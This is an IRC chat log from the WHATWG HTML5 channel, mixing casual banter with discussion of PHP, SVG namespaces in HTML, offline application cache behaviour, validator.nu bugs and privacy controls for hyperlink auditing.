[08:21:04.0000] <Lachy>
but for HTML5, we just give feedback to Hixie

[08:21:05.0000] <Micheil>
jgraham: feel free to call me niave on this topic ;P

[08:22:00.0000] <gsnedders>
Micheil: It's spelt naïve dammit!

[08:22:01.0000] <gsnedders>
You naïve boy!

[08:22:02.0000] <Micheil>
** jgraham: feel free to call me naïve on this topic ;P

[08:22:03.0000] <foolip>
who wants to bet who is more of a boy of Micheil and gsnedders?

[08:22:04.0000] <erlehmann>
Lachy, then Hixie shows it to his manatees, who push the balls into the tubes. The WHATWG spec generator reads the colors of the balls and proceeds with the commits.

[08:22:05.0000] <gsnedders>
This is a different topic, this is English :P

[08:23:00.0000] <Lachy>
erlehmann, LOL :-D

[08:23:01.0000] <Micheil>
foolip: actually, gsnedders would probably easily be my senior to ten years

[08:23:02.0000] <foolip>
Micheil: seriously, are you in kindergarten?

[08:23:03.0000] <Lachy>
Micheil, how old are you?

[08:23:04.0000] <gsnedders>
Micheil: Are you 7?

[08:23:05.0000] <Micheil>
no

[08:23:06.0000] <foolip>
lol

[08:24:00.0000] <Micheil>
/me was making a guess ;P

[08:24:01.0000] <erlehmann>
Micheil, talk to the manatees ;)

[08:24:02.0000] <jgraham>
erlehmann: Matanees? I always assumed he used dolphins

[08:24:03.0000] <Micheil>
gsnedders: although, by that comment, can I assume you're 17?

[08:24:04.0000] <jgraham>
s/Matanees/manatees/

[08:25:00.0000] <foolip>
gsnedders has very little time left to use his age to dramatic effect in these situations

[08:25:01.0000] <Lachy>
Micheil, technically yes, we treat him like he's 12 :-P

[08:25:02.0000] <Micheil>
Lachy: ah, okay then, I stand corrected, we'd be the same age then ;P

[08:25:03.0000] <gsnedders>
Micheil: But how old are you?

[08:25:04.0000] <Micheil>
17 (roughly)

[08:25:05.0000] <erlehmann>
jgraham, impossible ! everyone knows dolphins like namespaces !

[08:25:06.0000] <Philip`>
What's the point in a committee to replace the editor, when someone could simply start up a new group with a new editor whenever they felt like it?

[08:26:00.0000] <erlehmann>
Philip`, legitimacy

[08:26:01.0000] <jgraham>
erlehmann: That's porpoises

[08:27:00.0000] <Micheil>
oh well, I'm off, it's getting rather late in aussieland.

[08:27:01.0000] <gsnedders>
Micheil: I am 17

[08:27:02.0000] <Lachy>
Micheil, where in Aus are you from?

[08:27:03.0000] <Micheil>
umm.. NSW, regional

[08:27:04.0000] <gsnedders>
Micheil: and 4 months, and a random number of days

[08:27:05.0000] <Lachy>
Micheil, I'm from Parkes, originally. Anywhere nearby?

[08:28:00.0000] <Micheil>
actually, will many folk from here be at Web Directions South this year in october?

[08:28:01.0000] <jgraham>
gsnedders: Yopu might be younger tomorrow than today?

[08:28:02.0000] <Micheil>
umm.. a fair distance away, I'm closer to Griffith

[08:28:03.0000] <gsnedders>
jgraham: Maybe.

[08:28:04.0000] <Micheil>
Lachy: ^^

[08:29:00.0000] <Micheil>
Lachy: although, if it's of any help I go to uni in wagga wagga.. ;P

[08:29:01.0000] <gsnedders>
uni? pff.

[08:29:02.0000] <Micheil>
yeah, uni. university.

[08:29:03.0000] <gsnedders>
/me just works for Opera :P

[08:30:00.0000] <Micheil>
supposedly we need a bit of paper to get by these days, and if they're offering me a position in the gifted and talented program, I'm not going to knock it back ;P

[08:30:01.0000] <Lachy>
Micheil, I'd like to go to WDS, but it depends if Opera sends me, which is pending some internal stuff

[08:30:02.0000] <Micheil>
Lachy: ah, I'll see you there if that does turn out — I'll also be holding an event for web week

[08:33:00.0000] <Micheil>
Lachy: are you actually still local to australia, or are you offshore now?

[08:34:00.0000] <erlehmann>
gsnedders, how come that at such a joung age?

[08:34:01.0000] <erlehmann>
 s/joung/young/

[08:35:00.0000] <Micheil>
erlehmann: age doesn't matter, talent and skill do.

[08:35:01.0000] <gsnedders>
erlehmann: Because wilhelm bullied me into applying.

[08:36:00.0000] <erlehmann>
Micheil, of course. but i, for example, had school till the age of 19, unable to attend anything more than semi-regularly at all.

[08:36:01.0000] <gsnedders>
erlehmann: I got moved up a year, so left at 17

[08:36:02.0000] <Micheil>
erlehmann: I still have to attend school until 18

[08:37:00.0000] <gsnedders>
Though I could've left with qualifications enough for Scottish unis at 16

[08:37:01.0000] <jgraham>
~sings~ you did much too much much too young. Now you're married with a kid when you should be having fun

[08:37:02.0000] <gsnedders>
Oh god. Not jgraham singing.

[08:37:03.0000] <Micheil>
erlehmann: this university thing prestarts me on my degree.. so.. it's start like starting it before the rest of the pack, while still doing the same stuff as the rest of the pack.. if that makes sense

[08:38:00.0000] <gsnedders>
/me covers his ears with headphones so he can't hear it

[08:38:01.0000] <jgraham>
Although that last bit strictly doesn't apply

[08:38:02.0000] <gsnedders>
How do you know? :P

[08:38:03.0000] <Micheil>
gsnedders is a teen dad

[08:39:00.0000] <gsnedders>
/me takes headphones off, finding jgraham has stopped singing

[08:40:00.0000] <gsnedders>
jgraham: Really, you should leave the singing to your girlfriend, then I wouldn't need to take such drastic action.

[08:40:01.0000] <erlehmann>
gsnedders, i got moved up a year to, but was late in school anyways. my lil brother will be graduating at 16 too.

[08:41:00.0000] <Micheil>
/me is in the standard year for his age

[08:42:00.0000] <gsnedders>
Micheil: n00b

[08:42:01.0000] <Micheil>
/me would like to add that he's supposedly the only person in this gifted and talented course at uni ;P

[08:42:02.0000] <Micheil>
gsnedders: ;P

[08:42:03.0000] <erlehmann>
TCP retransmit gets me everytime. i just used my mobile connection for phoning and i'm still logged in, yay \o/

[08:42:04.0000] <erlehmann>
Micheil, i know that stuff, but it takes time. someone very bright i knew stoppen

[08:42:05.0000] <erlehmann>
d doing it to have his free time

[08:43:00.0000] <erlehmann>
anyways, after seeing how comparably easy it is to pass higher-up courses as a first-year student, i began to hate formal requirements that get in the way of learning.

[08:43:01.0000] <Micheil>
heh, I have no idea how I'm going yet in this course.. I get my first assessment back in a few weeks time

[08:44:00.0000] <Micheil>
anyway.. I was going to head off.. so I'll talk to you folks another day

[08:45:00.0000] <erlehmann>
Micheil, must be a lonely course then ;D

[08:45:01.0000] <gsnedders>
/me wonders why he's taken to listening to Death Cab for Cutie while travelling

[08:47:00.0000] <erlehmann>
gsnedders, listen to the streets

[08:47:01.0000] <Micheil>
erlehmann: actually, it's a standard university course, and I do the exact same assessments and work as those who are actually sort of "officially" in university, or of age to be

[08:47:02.0000] <gsnedders>
erlehmann: I don't own that :P

[08:48:00.0000] <erlehmann>
Micheil, that was kind of a joke. meh

[08:48:01.0000] <gsnedders>
erlehmann: Also, it's totally not my sort :P

[08:48:02.0000] <Micheil>
erlehmann: uh, I didn't get it ;P

[08:58:00.0000] <gsnedders>
"If you don't love me now/You'll never love me again/I can still hear you saying you'll never break the chain"

[09:00:00.0000] <erlehmann>
love is overrated

[09:00:01.0000] <Micheil>
/me prefers listening to Something for Kate over gsnedders or jgraham singing

[09:00:02.0000] <Micheil>
:D

[09:01:00.0000] <erlehmann>
i prefer Prince π :D

[09:02:00.0000] <gsnedders>
Micheil: It's better than me and jgraham in stereo. But you wouldn't be the first to say myself and jgraham are like jgraham in stereo.

[09:02:01.0000] <Micheil>
uhh.. I would rather not go there :D

[09:04:00.0000] <gsnedders>
(on my first day at Opera it was said that myself and jgraham look like brothers, scarily)

[09:04:01.0000] <Micheil>
erm.. woah

[09:04:02.0000] <Micheil>
haha

[09:05:00.0000] <gsnedders>
/me goes back to Evanescence 

[09:07:00.0000] <Micheil>
/me goes to bed.. urgh.. 1am.

[09:07:01.0000] <gsnedders>
1am isn't that late.

[09:07:02.0000] <gsnedders>
But my sleeping hours are really screwed up.

[09:08:00.0000] <Micheil>
gsnedders: 1am is late when you need to get up at 7am to go to school

[09:08:01.0000] <Micheil>
and it's also late when you need to travel 600km's each week for university

[09:08:02.0000] <gsnedders>
Micheil: Before I had CFS, I normally went to bed at 2am in such circumstances

[09:08:03.0000] <Micheil>
gsnedders: CFS?

[09:08:04.0000] <gsnedders>
Micheil: Chronic Fatigue Syndrome

[09:09:00.0000] <erlehmann>
being sleepy ?

[09:09:01.0000] <Micheil>
hmm.. so.. what's that do?

[09:09:02.0000] <gsnedders>
It makes you chronically fatigued.

[09:09:03.0000] <Micheil>
 / any idea on the courses?

[09:11:00.0000] <Micheil>
hmm.. I'm off.

[09:43:00.0000] <erlehmann>
annevk2, a big thanks for tellin me about the File API. you ended the discussion in the best way imaginable :)

[09:58:00.0000] <gsnedders>
Someone find marcos and drag him onto IRC

[10:09:00.0000] <gsnedders>
/me mindlessly vandalises his blog some more

[10:21:00.0000] <Philip`>
annevk3: By the way, did you see http://philip.html5.org/data/charsets-2.html ?

[10:22:00.0000] <Philip`>
/me is just asking since he doesn't remember seeing any response

[10:23:00.0000] <annevk3>
oh sweet

[10:23:01.0000] <annevk3>
no, missed that

[10:23:02.0000] <annevk3>
is this from the botbot or whatever source?

[10:26:00.0000] <TabAtkins>
I like the dichotomy in that table - nearly all of them are either used nearly completely correctly, or nearly completely incorrectly.

[10:27:00.0000] <jgraham>
annevk3: The source is described at the top of the document

[10:27:01.0000] <jgraham>
(well in a file linked from the top of the document)

[10:27:02.0000] <jgraham>
(and yes, it is dotbot)

[10:28:00.0000] <takkaria>
TabAtkins: dichotomies, they're a love/hate thing

[10:28:01.0000] <takkaria>
I've been waiting to say that to someone for months, sorry

[10:29:00.0000] <TabAtkins>
You're a bad person, takkaria.

[10:29:01.0000] <jgraham>
takkaria: BTW should I be worried that I haven't seen you for weeks even though you are supposedly located a few tens of metres from me?

[10:29:02.0000] <jgraham>
(admittedly quite a few of those metres are vertical ones)

[10:29:03.0000] <beowulf>
underground bunker?

[10:30:00.0000] <takkaria>
jgraham: not really.  I tend to eat lunch at my desk and haven't been around friday evenings because I've been travelling around after work

[10:30:01.0000] <jgraham>
beowulf: Nah, takkaria lives somewhere in the sky

[10:30:02.0000] <jgraham>
takkaria: Been anywhere nice?

[10:31:00.0000] <takkaria>
jgraham: Norrkoping, Stockholm, Goteborg.  I think Stockholm was the nicest. :)

[10:31:01.0000] <jgraham>
Hmm, I have only been to one of those three places

[10:31:02.0000] <jgraham>
(but it was the nice one!)

[10:32:00.0000] <takkaria>
I figured that I'm leaving soon so I should make the most of being in the country

[10:32:01.0000] <jgraham>
When do you go?

[10:32:02.0000] <takkaria>
12 days

[10:32:03.0000] <TabAtkins>
Hrm, my trig appears to not be working correctly.

[10:32:04.0000] <takkaria>
jgraham: are you at the kickoff tomorrow, btw?

[10:33:00.0000] <jgraham>
takkaria: Yes, although I haven't worked out why it has such a silly name yet

[10:34:00.0000] <takkaria>
jgraham: I'm still a bit confused about what it consists of, but I'm quite looking forward to it

[10:34:01.0000] <jgraham>
takkaria: It seems to consist of lots of oppertunities to kill yourself and/or other people fololowed by food

[10:35:00.0000] <takkaria>
hm, death photography

[10:36:00.0000] <jgraham>
/me has a theory he might enjoy taking pictures of other people trying to kill themselves more than trying to kill himself

[10:36:01.0000] <gsnedders>
jgraham: How was the core one, BTW?

[10:36:02.0000] <jgraham>
gsnedders: Surprisingly OK

[10:37:00.0000] <jgraham>
gsnedders: There are photos under http://hoppipolla.co.uk/410/teambuilding/

[10:37:01.0000] <gsnedders>
Was my guess about who'd win (Lasse) right?

[10:37:02.0000] <jgraham>
gsnedders: He is in Nevada or something

[10:37:03.0000] <gsnedders>
Oh, yeah.

[10:37:04.0000] <jgraham>
Navada

[10:38:00.0000] <gsnedders>
That made me change my guess. I can't remember what I changed it to.

[10:38:01.0000] <gsnedders>
He's at Burning Man.

[10:38:02.0000] <gsnedders>
/me realizes looking at this on an NXEC wifi connection which is struggling to make 1KB/s is a bad idea

[10:39:00.0000] <TabAtkins>
Philip`, does a U in the second column mean "unknown"?

[10:39:01.0000] <gsnedders>
TabAtkins: Yes

[10:40:00.0000] <jgraham>
gsnedders: Yes, the photos are a little large

[10:52:00.0000] <Philip`>
TabAtkins: I don't think it's true they're all used nearly completely (in)correctly - I think my code that calculates correctness is bogus, because the output doesn't make sense

[10:53:00.0000] <TabAtkins>
Ah, k

[10:53:01.0000] <Philip`>
(There's a disclaimer at the top of the file about that, so it's not my fault!)

[10:53:02.0000] <TabAtkins>
Pfft.

[10:53:03.0000] <Philip`>
(Bugs aren't bugs if they're documented)

[10:53:04.0000] <TabAtkins>
They're features?

[10:54:00.0000] <gsnedders>
No, they're documented _and_ dressed up.

[10:57:00.0000] <Philip`>
TabAtkins: The "U"s have tooltips

[10:57:01.0000] <TabAtkins>
Ah, you need a "[title]{cursor:help;}" rule or whatever.

[10:58:00.0000] <TabAtkins>
I had no clue there was a tooltip there.

[10:59:00.0000] <TabAtkins>
For godsakes, I just discovered the bug in my gradient generator that was causing it to ignore the <angle> parameter was that I was using "pi" rather than "pi()".

[10:59:01.0000] <TabAtkins>
Who doesn't add pi into their language as a constant, I ask you?

[11:00:00.0000] <TabAtkins>
/me switched to using deg2rad() anyway.

[11:02:00.0000] <gsnedders>
TabAtkins: What language? PHP?

[11:02:01.0000] <TabAtkins>
gsnedders: yeah.

[11:02:02.0000] <gsnedders>
TabAtkins: PI

[11:02:03.0000] <TabAtkins>
too late.  >_<

[11:02:04.0000] <TabAtkins>
Should have been using the conversion function anyway.

[11:02:05.0000] <gsnedders>
No, that's wrong. But there is a constant.

[11:02:06.0000] <TabAtkins>
M_PI

[11:03:00.0000] <TabAtkins>
For who-knows-what reason.

[11:03:01.0000] <gsnedders>
Lack of namespacing :P

[11:03:02.0000] <TabAtkins>
Yeah, they only introduced static variables and functions in php5, I think.

[11:04:00.0000] <gsnedders>
Static functions? They still don't exist!

[11:04:01.0000] <gsnedders>
Static methods exist since PHP5

[11:04:02.0000] <TabAtkins>
Hrm?  Sure they do.

[11:04:03.0000] <gsnedders>
But not static functions

[11:05:00.0000] <TabAtkins>
Oh, buh, whatever.  The distinction is meaningless.

[11:05:01.0000] <TabAtkins>
They're just functions added to a class object rather than an object instantiated from a class.

[11:11:00.0000] <Philip`>
TabAtkins: The existence of the tooltip is indicated by the tooltip that pops up when you put the mouse over it

[11:11:01.0000] <Philip`>
so there's no need to also indicate it by a cursor change

[11:12:00.0000] <TabAtkins>
Philip` only if you *hold* the mouse cursor over it for a second or two.  In the meantime your cursor is displaying an ordinary text cursor, and it's a pretty tiny mouse target to begin with.

[11:12:01.0000] <TabAtkins>
So you *do* need a cursor change to give people immediate feedback that there's something more if they'll just wait a second.

[11:12:02.0000] <Philip`>
TabAtkins: M_PI sounds like they just copied from the C standard library, which uses the M_ prefix for maths constants because otherwise it conflict with the giant mess that is the global namespace in a typical C program

[11:12:03.0000] <TabAtkins>
Philip`, makes sense.  PHP is built on C anyway.

[11:12:04.0000] <Philip`>
TabAtkins: You need a browser/OS with faster tooltips :-p

[11:13:00.0000] <Philip`>
or that shows it in the status bar immediately

[11:13:01.0000] <Philip`>
TabAtkins: That doesn't make sense; pretty much everything is built on C, and it doesn't all copy C's rubbish naming conventions

[11:13:02.0000] <TabAtkins>
It's possible that FF is showing it in the status bar.  I hide that anyway.

[11:14:00.0000] <TabAtkins>
Philip`: Yeah, but PHP was designed by idiots with no sense of consistency.

[11:14:01.0000] <gsnedders>
TabAtkins: That's untrue.

[11:14:02.0000] <Philip`>
TabAtkins: That seems a better explanation

[11:14:03.0000] <gsnedders>
(PHP wasn't designed.)

[11:14:04.0000] <TabAtkins>
gsnedders, point.

[11:15:00.0000] <gsnedders>
It's a series of features hacked on top of a language that wasn't designed to have them.

[11:15:01.0000] <gsnedders>
And those features coming from people writing patches with whatever API they want.

[11:18:00.0000] <TabAtkins>
All correct.

[11:18:01.0000] <TabAtkins>
And yet it's still one of the easiest languages to use.  Le sigh.

[11:18:02.0000] <gsnedders>
It's one of the easiest languages to get something to work in. It's one of the hardest languages to write nice, clean, well-designed, maintainable code in.

[11:18:03.0000] <Philip`>
All languages evolve with features that they weren't originally designed for

[11:19:00.0000] <Philip`>
but usually they seem to have a more consistent design vision

[11:19:01.0000] <gsnedders>
Most other languages ultimately have some single gatekeeper

[11:19:02.0000] <TabAtkins>
gsnedders: I disagree.  I write very good code in PHP.  It's not hard.  It's just *very easy* to write bad code in PHP.

[11:20:00.0000] <gsnedders>
TabAtkins: It depends what you want to do. Some things are very hard to write cleanly in PHP.

[11:20:01.0000] <TabAtkins>
Hmm, can you elaborate?  I find that it supports all the basic features you want out of a language to implement design patterns well.

[11:21:00.0000] <gsnedders>
/me is getting into Edinburgh now, and this means going in a long tunnel, and wifi frequently sucks north of Edinburgh on these trains

[11:21:01.0000] <TabAtkins>
Lacking perhaps only namespaces, which are in php6 when it lands.

[11:21:02.0000] <gsnedders>
and 5.3, which is already out

[11:21:03.0000] <Philip`>
gsnedders: Why didn't you just bring a long network cable with you?

[11:21:04.0000] <TabAtkins>
Ah, didn't realize.

[11:21:05.0000] <gsnedders>
with  "\" as a namespace separator

[11:22:00.0000] <gsnedders>
(w00t! Foo\Bar::magic(); — that looks lovely)

[11:22:01.0000] <Philip`>
Can you refer to namespaced things in a string?

[11:22:02.0000] <TabAtkins>
Heh, I actually sort of like the pseudo-directory structure it brings.  ^_^

[11:22:03.0000] <TabAtkins>
Philip`, just escape the \.

[11:23:00.0000] <gsnedders>
Philip`: I guess ${foo\bar} works. Dunno.

[11:23:01.0000] <gsnedders>
TabAtkins: directories are /, dammit!

[11:24:00.0000] <TabAtkins>
Thus it's a pseudo-directory, just like Windows has.

[11:24:01.0000] <Philip`>
TabAtkins: I mean something equivalent to Perl's "foo $bar::baz qux", because I'm wondering it's like "foo $bar\baz qux" since that would get horribly confusing when you print a newline after a variable

[11:24:02.0000] <Philip`>
s/it's/if it's/

[11:25:00.0000] <TabAtkins>
Philip`, I dunno details, but I suspect it's as gsnedders says.

[11:25:01.0000] <gsnedders>
/me hasn't really looking into the new stuff in 5.3 much

[11:25:02.0000] <TabAtkins>
Or something close.

[11:25:03.0000] <gsnedders>
*looked

[11:25:04.0000] <takkaria>
in any case, it looks like an excellent addition to an otherwise umblemished language

[11:26:00.0000] <TabAtkins>
I just wish I had a box to run Hunchentoot on.  And the patience to go learn a server other than Apache.

[11:26:01.0000] <gsnedders>
I tend to for all the distributable code I write promise to support the version of PHP that ships with the oldest support Debian release. (Currently 5.2.0.)

[11:27:00.0000] <TabAtkins>
Though I suppose I could just set up mod_lisp and take the CGI hit.

[11:28:00.0000] <Philip`>
TabAtkins: I thought the point of mod_* was to avoid the CGI hit

[11:28:01.0000] <Philip`>
since you can get the CGI hit by simply using CGI, and the special modules are intended to make things better

[11:28:02.0000] <TabAtkins>
Duh, yeah, you're right.  I'd run hunchentoot behind mod_lisp.

[11:29:00.0000] <TabAtkins>
/me really doesn't understand servers or networking.

[11:29:01.0000] <Philip`>
Networking is easy, it's just a load of wires

[11:31:00.0000] <TabAtkins>
also: the internet is a giant web of pixie dust and magic smoke.

[11:32:00.0000] <gsnedders>
And tubes. Don't forget the tubes.

[11:32:01.0000] <TabAtkins>
Bah, I'll just use lisp as a CGI.  That's easy to get running.

[12:45:00.0000] <Lachy>
it would be nice if we just developed a nice web based tool which could take an SVG image, strip out all the namespaced stuff that would be non-conforming in HTML and send back the image to the user ready to copy and paste into their HTML

[12:45:01.0000] <Lachy>
though, maybe it would have to replace the creative commons stuff with a simpler, conforming alternative that means the same thing

[13:09:00.0000] <TabAtkins>
Should be easy if you have an XML dom, right?

[13:14:00.0000] <annevk3>
should be fairly easy to make as a Python app

[13:14:01.0000] <annevk3>
(I say that because I know a bit of Python)

[13:27:00.0000] <Lachy>
yeah, and as long as the input is well formed XML, then it shouldn't be too hard. But if we want to handle some non-well-formed input, or input with namespace errors, and be able to output valid SVG for text/html, it would be harder

[13:29:00.0000] <Lachy>
btw, that Wikipedia logo in text/html page that Shelley made really makes Firefox slow to use

[13:30:00.0000] <annevk3>
you could use my XML5 code

[13:30:01.0000] <annevk3>
but euh, I thought the point was copy and pasting well-formed XML

[13:32:00.0000] <annevk3>
you could probably also just use html5lib and filter out the implied <html>, <head>, <body> crap

[13:32:01.0000] <Lachy>
yeah, but we know authors don't always make XML based SVG well formed

[13:32:02.0000] <annevk3>
we also know that content doesn't work

[13:33:00.0000] <annevk3>
othermaciej, hey

[13:34:00.0000] <Lachy>
using html5lib would put all the namespaced stuff like <dc:foo> and prefixed attributes into the wrong namespace, so filtering wouldn't be as simple as stripping out anything that isn't in the SVG, MathML or HTML namespace, nor an atribute in no namespace

[13:34:01.0000] <othermaciej>
hey annevk3 

[13:34:02.0000] <annevk3>
othermaciej, I was wondering if http://developer.apple.com/safari/library/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/OfflineApplicationCache/OfflineApplicationCache.html is correct for WebKit as it seems like it contradicts HTML5 for fallback entries

[13:34:03.0000] <annevk3>
othermaciej, I asked in #webkit earlier but nobody was around that could help

[13:35:00.0000] <othermaciej>
annevk3: that documentation could be out of date, but it's also possible the implementation is out of date with the spec

[13:35:01.0000] <othermaciej>
annevk3: what's the specific point of contradiction?

[13:36:00.0000] <othermaciej>
annevk3: andersca is the person most likely to know offhand, for me to know the exact current behavior I would need to test

[13:37:00.0000] <annevk3>
othermaciej, it suggests that for a fallback thingy of /foo/ /bar/ a failed load of /foo/1.htm loads /bar/1.htm where as HTML5 suggests it should load /bar/

[13:39:00.0000] <annevk3>
I haven't tested myself. Did find that the Firefox documentation does support my interpretation of HTML5...

[13:39:01.0000] <othermaciej>
annevk3: I'm not sure if it actually does that, but if so it's probably unintentional, or an error of interpretation

[13:40:00.0000] <annevk3>
kk, I pinged andersca just in case

[13:41:00.0000] <virtuelv>
/me changes topic to 'WHATWG (HTML5) -- http://www.whatwg.org/ -- Logs: http://krijnhoetmer.nl/irc-logs/ -- Vennligst legg igjen din logiske sans ved døren, takk!'

[13:44:00.0000] <jcranmer>
Leave your sense of logic at the door in... Norwegian?

[13:53:00.0000] <virtuelv>
jcranmer: sort of

[13:53:01.0000] <virtuelv>
the original seems to have been auto-translated initially

[13:53:02.0000] <Lachy>
virtuelv, yeah, google translate helped me a little bit with a few words in the original

[13:53:03.0000] <virtuelv>
it's now valid Norwegian, but a bit strained, and we would never say "thank you"

[13:54:00.0000] <Lachy>
virtuelv, that's just because norwegians are impolite :-)

[13:54:01.0000] <virtuelv>
Lachy: no, we're not

[13:54:02.0000] <virtuelv>
it's just that ", takk" in Norwegian implies that you expect compliance

[13:54:03.0000] <virtuelv>
so instead of being a polite request, it's now a fairly rude way of ordering people around

[13:55:00.0000] <virtuelv>
/me changes topic to 'WHATWG (HTML5) -- http://www.whatwg.org/ -- Logs: http://krijnhoetmer.nl/irc-logs/ -- Vær vennlig og legg igjen din logiske sans i døren'

[13:55:01.0000] <Lachy>
then let's change it back to the english version, which doesn't suffer from that problem

[13:55:02.0000] <virtuelv>
Now it, pretty directly is "Be polite and leave your sense of logic at the door"

[13:56:00.0000] <virtuelv>
s/directly/literally/

[13:56:01.0000] <virtuelv>
but the implied translation changes "vær vennlig" to "please"

[13:56:02.0000] <Lachy>
Google translate says otherwise: "Please leave your logical sense at the door". But I suppose I can trust your translation a little more

[13:56:03.0000] <virtuelv>
please, though, directly would translate to "be kind"

[13:56:04.0000] <virtuelv>
or "be so kind"

[13:57:00.0000] <virtuelv>
(vær så snill)

[13:57:01.0000] <takkaria>
ah, like varsågod in Swedish

[13:57:02.0000] <Lachy>
I thought vennligst meant please

[13:57:03.0000] <virtuelv>
Lachy: depends on whether you want to order people around or be polite

[13:58:00.0000] <Lachy>
oh, so those signs I've seen around that say things like "Vennligst vent her" are ordering me around, instead of making a polite request?

[14:01:00.0000] <virtuelv>
Lachy: pretty much, yes

[14:03:00.0000] <virtuelv>
Lachy: the differences are subtle, though

[14:03:01.0000] <virtuelv>
it's not like in dutch airports

[14:03:02.0000] <virtuelv>
where their last call messages are saying "[Insert name], proceed to gate immediately, you are delaying the flight"

[14:07:00.0000] <Lachy>
I wish IRC were more resillient to this kind of server adjustments, without causing so many splits

[14:13:00.0000] <AryehGregor>
Lachy, every other chat protocol seems not to have this problem . . .

[14:14:00.0000] <takkaria>
IRC is *old* though

[14:14:01.0000] <Lachy>
AryehGregor, it's not really surprising. IRC is one of the oldest chat protocols still in common use. Newer protocols probably learned from its shortcomings

[15:13:00.0000] <Lachy>
othermaciej, I suspect the reason the W3C validator reports errors for those namespaced attributes is because its using DTD based validation, which has limitations in its ability to express conformance when namespaces and prefixes are involved.

[15:17:00.0000] <othermaciej>
Lachy: as far as I can tell, nothing in SVG lets you add arbitrary attributes in other namespaces to arbitrary elements

[15:17:01.0000] <othermaciej>
Lachy: that's only allowed in <metadata>

[15:18:00.0000] <Lachy>
I'm not too familiar with the SVG spec to know for sure, but I will take a look

[15:19:00.0000] <Lachy>
http://www.w3.org/TR/SVG/extend.html

[15:19:01.0000] <Lachy>
"SVG allows inclusion of elements from foreign namespaces anywhere with the SVG content."

[15:19:02.0000] <othermaciej>
ok, I was wrong

[15:19:03.0000] <othermaciej>
please correct me on the list

[15:19:04.0000] <Lachy>
"Additionally, SVG allows inclusion of attributes from foreign namespaces on any SVG element."

[15:20:00.0000] <Lachy>
ok


2009-09-08
[18:57:00.0000] <AryehGregor>
MikeSmith, do you have any insight into <http://bugzilla.validator.nu/show_bug.cgi?id=641>, or know who might?  (FWIW: <http://validator.nu/?doc=http://www.wikipedia.org>)

[18:57:01.0000] <MikeSmith>
/me looks now

[19:04:00.0000] <MikeSmith>
AryehGregor: hsivonen would definitely have insight into that, if he had time to look at in detail. but I think his time for validator.nu bug fixing is limited right now. so in the mean time, I can take a look at it unless he beats me to it.

[19:04:01.0000] <AryehGregor>
Thanks.  It's not urgent.

[19:06:00.0000] <MikeSmith>
OK, I've already been looking at that same code over the weekend, for the other bug you reported

[19:06:01.0000] <MikeSmith>
http://bugzilla.validator.nu/show_bug.cgi?id=640

[19:06:02.0000] <MikeSmith>
I already have a fix written up for that

[19:06:03.0000] <MikeSmith>
partial fix

[19:06:04.0000] <AryehGregor>
Great.

[19:07:00.0000] <AryehGregor>
I'm sure some of the codes are actually wrong.  When I can figure out which ones, I'll talk to our language people and get them replaced with more correct ones.

[19:07:01.0000] <MikeSmith>
AryehGregor: actually, most of them are not outright wrong -- there's a number of them that are valid, but deprecated

[19:08:00.0000] <MikeSmith>
like "zh-yue" -- that should just be "yue" instead

[19:08:01.0000] <AryehGregor>
Yeah, we know about most of those, I think.

[19:08:02.0000] <AryehGregor>
We've sort of accreted them over the years.

[19:08:03.0000] <MikeSmith>
well, the validator should not actually report those as errors

[19:08:04.0000] <AryehGregor>
Once we've set up a wiki, it's a pain to change the domain, and it doesn't really hurt anything to keep it, so we tend to leave it alone.

[19:08:05.0000] <MikeSmith>
yeah, understood

[19:08:06.0000] <AryehGregor>
("we" not really including me, I'm not a sysadmin and can't change the domains)

[19:09:00.0000] <AryehGregor>
It's easy to change the lang="" attribute on that one page, though.

[19:09:01.0000] <MikeSmith>
OK. well please leave it for now if you can

[19:09:02.0000] <MikeSmith>
until we get this bug resolved

[19:09:03.0000] <AryehGregor>
No problem.

[19:09:04.0000] <MikeSmith>
It's a good test case.

[19:09:05.0000] <MikeSmith>
so anyway, validator.nu should just report those as warnings, not errors

[19:10:00.0000] <MikeSmith>
because they are not strictly conformance errors

[19:10:01.0000] <MikeSmith>
the problem is, in the current validator.nu datatype-checking code, there's no mechanism for emitting warnings about datatypes of attribute values

[19:11:00.0000] <MikeSmith>
it is currently only set up to emit error messages 

[19:11:01.0000] <AryehGregor>
There are probably other cases where you'd want warnings for attribute values, but I can't think where offhand.

[19:12:00.0000] <MikeSmith>
yeah, I'm sure we will find some others, anyway

[19:12:01.0000] <MikeSmith>
AryehGregor: so I need to ask hsivonen for some guidance about what he thinks the best way to refine the code to emit warnings

[19:12:02.0000] <AryehGregor>
Okay, no problem.  As I say, not urgent.

[19:12:03.0000] <MikeSmith>
OK

[21:01:00.0000] <Hixie>
http://www.bigmouthmedia.com/live/articles/html-5-draft-hyperlink-auditing-and-how-it-will-i.asp/6308/

[21:07:00.0000] <AryehGregor>
Is anyone implementing ping?

[21:08:00.0000] <Hixie>
mozilla has an implementation which they disabled while the spec was unstable

[21:08:01.0000] <Hixie>
i expect other browsers will implement it in due course

[21:10:00.0000] <othermaciej>
someone expressed interest in implementing it for WebKit, citing content publishers who want to use it, and I asked them to get those publishers to say so on the record

[21:11:00.0000] <AryehGregor>
Could it realistically be useful in the near future?  Does it support any kind of useful fallback?

[21:12:00.0000] <AryehGregor>
/me hasn't gotten up to that part of the spec, apparently, or perhaps has just forgotten

[21:12:01.0000] <othermaciej>
it could be useful it you don't care about losing link tracking in browsers that don't support it

[21:12:02.0000] <othermaciej>
it could be useful if you UA-sniff and serve different content to browsers that support it

[21:16:00.0000] <othermaciej>
I think you can use the "ping" IDL attribute to detect from script if ping is supported

[21:19:00.0000] <othermaciej>
/me mulls over the SHOULD-level UI requirement

[21:20:00.0000] <othermaciej>
I'm pretty sure we would not add UI for hyperlink auditing to MobileSafari

[21:21:00.0000] <othermaciej>
not because I've asked but because we have so very few prefs for it in general

[21:22:00.0000] <othermaciej>
on desktop Safari we'd need good wording

[21:22:01.0000] <othermaciej>
I'm not sure "Enable hyperlink auditing" would be comprehensible

[21:23:00.0000] <othermaciej>
and "Don't let sites track your browsing" would be a lie

[21:24:00.0000] <Hixie>
my suggestion has been as follows:

[21:25:00.0000] <Hixie>
have a single trackbar control that goes from "maximum compatibility" to "maximum privacy"

[21:25:01.0000] <Hixie>
with maybe three notches

[21:25:02.0000] <Hixie>
the first enables third-party cookies, etc

[21:25:03.0000] <Hixie>
the third disabled ping, all cookies, etc

[21:26:00.0000] <Hixie>
the middle one is the default

[21:26:01.0000] <othermaciej>
our only big switch toggle is Private Browsing mode

[21:26:02.0000] <othermaciej>
we would definitely disable ping in that mode, though I'm not sure that satisfies the intent of the requirement

[21:26:03.0000] <Hixie>
you already have a "third party cookies" pref

